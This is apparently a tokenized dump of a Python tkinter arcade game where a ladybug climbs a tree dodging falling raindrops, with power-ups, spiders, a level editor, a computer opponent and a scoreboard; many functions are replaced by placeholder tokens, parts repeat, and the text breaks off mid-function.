canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if 